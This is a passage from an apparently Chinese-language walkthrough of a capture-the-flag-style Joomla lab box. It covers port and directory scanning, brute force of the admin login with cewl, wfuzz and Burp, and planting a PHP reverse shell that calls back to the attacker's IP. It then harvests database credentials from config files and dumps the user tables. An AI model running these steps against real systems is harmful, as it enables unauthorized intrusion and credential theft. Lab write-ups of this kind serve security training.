&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span class="m"&gt;1&lt;/span&gt; open and &lt;span class="m"&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;Device type: general purpose&lt;span class="p"&gt;|&lt;/span&gt;router
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;Running: Linux 4.X&lt;span class="p"&gt;|&lt;/span&gt;5.X, MikroTik RouterOS 7.X
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 &lt;span class="o"&gt;(&lt;/span&gt;Linux 5.6.3&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;Network Distance: &lt;span class="m"&gt;4&lt;/span&gt; hops
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 28.89 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.224.79
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-08-03 22:00 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; bogon &lt;span class="o"&gt;(&lt;/span&gt;192.168.224.79&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.39s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-dombased-xss: Couldn&lt;span class="s1"&gt;&amp;#39;t find any DOM based XSS.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-stored-xss: Couldn&lt;span class="s1"&gt;&amp;#39;t find any stored XSS vulnerabilities.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-csrf: Couldn&lt;span class="s1"&gt;&amp;#39;t find any CSRF vulnerabilities.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 262.06 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt;└─$ gobuster dir -e -u http://192.168.224.79 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;Gobuster v3.6
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@firefart&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; Url: http://192.168.224.79
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; Method: GET
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; Threads: &lt;span class="m"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; Negative Status codes: &lt;span class="m"&gt;404&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; User Agent: gobuster/3.6
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; Expanded: &lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; Timeout: &lt;span class="nv"&gt;10s&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt;Starting gobuster in directory enumeration &lt;span class="nv"&gt;mode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.79/joomla &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 317&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.224.79/joomla/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt;└─$ whatweb http://192.168.224.79/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;68&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.79/ &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt; OK&lt;span class="o"&gt;]&lt;/span&gt; Apache&lt;span class="o"&gt;[&lt;/span&gt;2.4.38&lt;span class="o"&gt;]&lt;/span&gt;, Country&lt;span class="o"&gt;[&lt;/span&gt;RESERVED&lt;span class="o"&gt;][&lt;/span&gt;ZZ&lt;span class="o"&gt;]&lt;/span&gt;, HTML5, HTTPServer&lt;span class="o"&gt;[&lt;/span&gt;Debian Linux&lt;span class="o"&gt;][&lt;/span&gt;Apache/2.4.38 &lt;span class="o"&gt;(&lt;/span&gt;Debian&lt;span class="o"&gt;)]&lt;/span&gt;, IP&lt;span class="o"&gt;[&lt;/span&gt;192.168.224.79&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804100023116.png"&gt;
发现目录joomla，跳转查看是CMS系统，查找相关漏洞。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804100243669.png"&gt;
翻译一下页面好像就是一个博客文章而已。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804100950943.png"&gt;&lt;/p&gt;
&lt;h2 id="后台登录密码爆破"&gt;后台登录密码爆破
&lt;/h2&gt;&lt;p&gt;curl 一下robots.txt文件发现有如下的文件夹。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804124630645.png"&gt;
Bing搜索Joomla的相关文章，发现这个系统的后台地址是 &lt;code&gt;/joomla/administrator/index.php&lt;/code&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804101458076.png"&gt;
尝试默认密码都无法登录。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804102135095.png"&gt;
尝试爆破，但是可以用首页的内容做一个字典。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cewl -d &lt;span class="m"&gt;5&lt;/span&gt; -m &lt;span class="m"&gt;3&lt;/span&gt; http://192.168.224.79/joomla/ -w cewl.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804102458637.png"&gt;
猜测管理员的用户名无非是admin或者joomla，用字典进行爆破&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wfuzz -z file,users.txt -z file,cewl.txt -d &lt;span class="s2"&gt;&amp;#34;username=FUZZ&amp;amp;passwd=FUZ2Z&amp;amp;option=com_login&amp;amp;task=login&amp;#34;&lt;/span&gt; http://192.168.224.79/joomla/administrator/index.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;参数要和页面的参数名一样
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804104526764.png"&gt;
但是上面的方法爆破还是不成功，所有的内容显示都是一样的。用Burp抓包爆破看一下，原来少了这么多参数，一边用BP的Intrader再爆一遍，一边再把参数加到Wfuzz的命令里。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804111335236.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wfuzz -z file,users.txt -z file,cewl.txt -H &lt;span class="s2"&gt;&amp;#34;Content-Type: application/x-www-form-urlencoded&amp;#34;&lt;/span&gt; -H &lt;span class="s2"&gt;&amp;#34;Origin: http://192.168.224.79&amp;#34;&lt;/span&gt; -H &lt;span class="s2"&gt;&amp;#34;Referer: http://192.168.224.79/joomla/administrator/index.php&amp;#34;&lt;/span&gt; -H &lt;span class="s2"&gt;&amp;#34;Upgrade-Insecure-Requests: 1&amp;#34;&lt;/span&gt; -H &lt;span class="s2"&gt;&amp;#34;Priority: u=0, i&amp;#34;&lt;/span&gt; -b &lt;span class="s2"&gt;&amp;#34;95cdf76491cb88d9b6312416436ea834=3sndg23usg0pjbhop55dubtm1o&amp;#34;&lt;/span&gt; -b &lt;span class="s2"&gt;&amp;#34;6821ee9ea803cd64e2920ca203163e81=l2neno354f1cr6oia2udlibioq&amp;#34;&lt;/span&gt; -d &lt;span class="s2"&gt;&amp;#34;username=FUZZ&amp;amp;passwd=FUZ2Z&amp;amp;option=com_login&amp;amp;task=login&amp;amp;return=aW5kZXgucGhw&amp;amp;bf5f129cafc305a052e1ace30964373e=1&amp;#34;&lt;/span&gt; http://192.168.224.79/joomla/administrator/index.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804111829498.png"&gt;
BP爆破的结果也是一样的。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804121652781.png"&gt;&lt;/p&gt;
&lt;blockquote class="alert alert-success"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;网页登录密码&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;joomla - Gotham&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;h2 id="后台漏洞利用"&gt;后台漏洞利用
&lt;/h2&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804122007268.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804122307326.png"&gt;
发现可以修改php文件，但是一般不建议直接再index.php上直接修改，因为主页观看的人比较多，出现异常发现的也很快，如果能上传一个新文件的话最好。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804122425322.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cp /usr/share/webshells/php/php-reverse-shell.php .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sed -i -E &lt;span class="s2"&gt;&amp;#34;s/ip\s*=\s*&amp;#39;127\.0\.0\.1&amp;#39;\s*;/ip = &amp;#39;192.168.45.204&amp;#39;;/g; s/port\s*=\s*1234\s*;/port = 4777;/g&amp;#34;&lt;/span&gt; php-reverse-shell.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804122743987.png"&gt;
尝试上传但是上传失败，只能改主页&lt;code&gt;index.php&lt;/code&gt;了。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804123539598.png"&gt;
改好后访问一开始的那个joker网页即可弹回shell。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804123803075.png"&gt;&lt;/p&gt;
&lt;h2 id="横向提权"&gt;横向提权
&lt;/h2&gt;&lt;p&gt;建立稳定终端。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python3 -c &lt;span class="s1"&gt;&amp;#39;import pty;pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ls /home/* -al
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;发现有3个用户，每个用户文件夹下都有一些奇奇怪怪的文件。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804124104505.png"&gt;
先读出第一个flag。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804124220667.png"&gt;
企鹅文件下的有东西，只能ls，但是具体的就无法读取了
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804124426332.png"&gt;
回到网页目录在找一下，发现有配置文件。找找看有没有写在配置里的用户名和密码。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804124724649.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat html/joomla/*config* &lt;span class="p"&gt;|&lt;/span&gt;grep pass
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat html/joomla/*config* &lt;span class="p"&gt;|&lt;/span&gt;grep user
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804124855946.png"&gt;
发现数据库密码。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804125252830.png"&gt;&lt;/p&gt;
&lt;blockquote class="alert alert-success"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;数据库密码&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;joomla - babyjoker&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;h3 id="登录数据库"&gt;登录数据库
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;mysql -u joomla -p
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804125341064.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;show&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;databases&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;joomla_db&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;show&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tables&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jnqcu_users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;batjoke&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;show&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tables&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
